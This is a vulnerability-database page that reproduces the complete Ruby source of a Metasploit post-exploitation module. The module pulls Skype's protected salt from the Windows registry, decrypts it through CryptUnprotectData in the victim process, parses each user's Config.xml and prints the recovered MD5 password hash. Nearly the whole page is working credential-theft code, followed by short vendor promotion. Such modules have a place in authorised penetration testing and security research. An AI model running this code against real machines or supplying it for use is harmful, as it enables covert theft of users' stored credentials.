Lucene search
+L

Windows Gather Skype Saved Password Hash Extraction

🗓️ 23 Jun 2014 19:16:50Reported by mubix <[email protected]>, hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 72 Views

Windows Gather Skype Saved Password Hash Extraction module seeks saved login credentials from Windows Skype client. Hash is in MD5 format and stored in Config.xml file after being XOR'd against a generated key. Username, static string "\nskyper\n" and password are used to create MD5. References include recon.cx, insecurety.net and skypeopensource/tools

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Skype Saved Password Hash Extraction',
        'Description' => %q{
          This module finds saved login credentials
          for the Windows Skype client. The hash is in MD5 format
          that uses the username, a static string "\nskyper\n" and the
          password. The resulting MD5 is stored in the Config.xml file
          for the user after being XOR'd against a key generated by applying
          2 SHA1 hashes of "salt" data which is stored in ProtectedStorage
          using the Windows API CryptProtectData against the MD5
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'mubix', # module
          'hdm' # crypto help
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'References' => [
          ['URL', 'http://www.recon.cx/en/f/vskype-part2.pdf'],
          ['URL', 'https://web.archive.org/web/20140207115406/http://insecurety.net/?p=427'],
          ['URL', 'https://github.com/skypeopensource/tools']
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_ls
              stdapi_railgun_api
              stdapi_sys_process_attach
              stdapi_sys_process_get_processes
              stdapi_sys_process_getpid
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_read
              stdapi_sys_process_memory_write
            ]
          }
        }
      )
    )
  end

# To generate test hashes in ruby use:
=begin

require 'openssl'

username = "test"
passsword = "test"

hash = Digest::MD5.new
hash.update username
hash.update "\nskyper\n"
hash.update password

puts hash.hexdigest

=end

  def decrypt_reg(data)
    pid = session.sys.process.getpid
    process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
    mem = process.memory.allocate(512)
    process.memory.write(mem, data)

    if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
      addr = [mem].pack('V')
      len = [data.length].pack('V')
      ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
      len, addr = ret['pDataOut'].unpack('V2')
    else
      # Convert using rex, basically doing: [mem & 0xffffffff, mem >> 32].pack("VV")
      addr = Rex::Text.pack_int64le(mem)
      len = Rex::Text.pack_int64le(data.length)
      ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
      pData = ret['pDataOut'].unpack('VVVV')
      len = pData[0] + (pData[1] << 32)
      addr = pData[2] + (pData[3] << 32)
    end

    return '' if len == 0

    return process.memory.read(addr, len)
  end

  # Get the "Salt" unencrypted from the registry
  def get_salt
    print_status 'Checking for encrypted salt in the registry'
    vprint_status 'Checking: HKCU\\Software\\Skype\\ProtectedStorage - 0'
    rdata = registry_getvaldata('HKCU\\Software\\Skype\\ProtectedStorage', '0')
    print_good('Salt found and decrypted')
    return decrypt_reg(rdata)
  end

  # Pull out all the users in the AppData directory that have config files
  def get_config_users(appdatapath)
    users = []
    dirlist = session.fs.dir.entries(appdatapath)
    dirlist.shift(2)
    dirlist.each do |dir|
      if file?(appdatapath + "\\#{dir}" + '\\config.xml') == false
        vprint_error "Config.xml not found in #{appdatapath}\\#{dir}\\"
        next
      end
      print_good "Found Config.xml in #{appdatapath}\\#{dir}\\"
      users << dir
    end
    return users
  end

  def parse_config_file(config_path)
    hex = ''
    configfile = read_file(config_path)
    configfile.each_line do |line|
      if line =~ /Credentials/i
        hex = line.split('>')[1].split('<')[0]
      end
    end
    return hex
  end

  def decrypt_blob(credhex, salt)
    # Convert Config.xml hex to binary format
    blob = [credhex].pack('H*')

    # Concatinate SHA digests for AES key
    sha = Digest::SHA1.digest("\x00\x00\x00\x00" + salt) + Digest::SHA1.digest("\x00\x00\x00\x01" + salt)

    aes = OpenSSL::Cipher.new('AES-256-CBC')
    aes.encrypt
    aes.key = sha[0, 32] # Use only 32 bytes of key
    final = aes.update([0].pack('N*') * 4) # Encrypt 16 \x00 bytes
    final << aes.final
    xor_key = final[0, 16] # Get only the first 16 bytes of result

    vprint_status("XOR Key: #{xor_key.unpack('H*')[0]}")

    decrypted = []

    # Use AES/SHA crypto for XOR decoding
    16.times do |i|
      decrypted << (blob[i].unpack('C*')[0] ^ xor_key[i].unpack('C*')[0])
    end

    return decrypted.pack('C*').unpack('H*')[0]
  end

  def get_config_creds(salt)
    users = []
    appdatapath = expand_path('%AppData%') + '\\Skype'
    print_status('Checking for config files in %APPDATA%')
    users = get_config_users(appdatapath)
    if users.any?
      users.each do |user|
        print_status("Parsing #{appdatapath}\\#{user}\\Config.xml")
        credhex = parse_config_file("#{appdatapath}\\#{user}\\config.xml")
        if credhex == ''
          print_error("No Credentials3 blob found for #{user} in Config.xml skipping")
          next
        else
          hash = decrypt_blob(credhex, salt)
          print_good "Skype MD5 found: #{user}:#{hash}"
        end
      end
    else
      print_error 'No users with configs found. Exiting'
    end
  end

  def run
    salt = get_salt
    if !salt.nil?
      creds = get_config_creds(salt)
    else
      print_error 'No salt found. Cannot continue without salt, exiting'
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation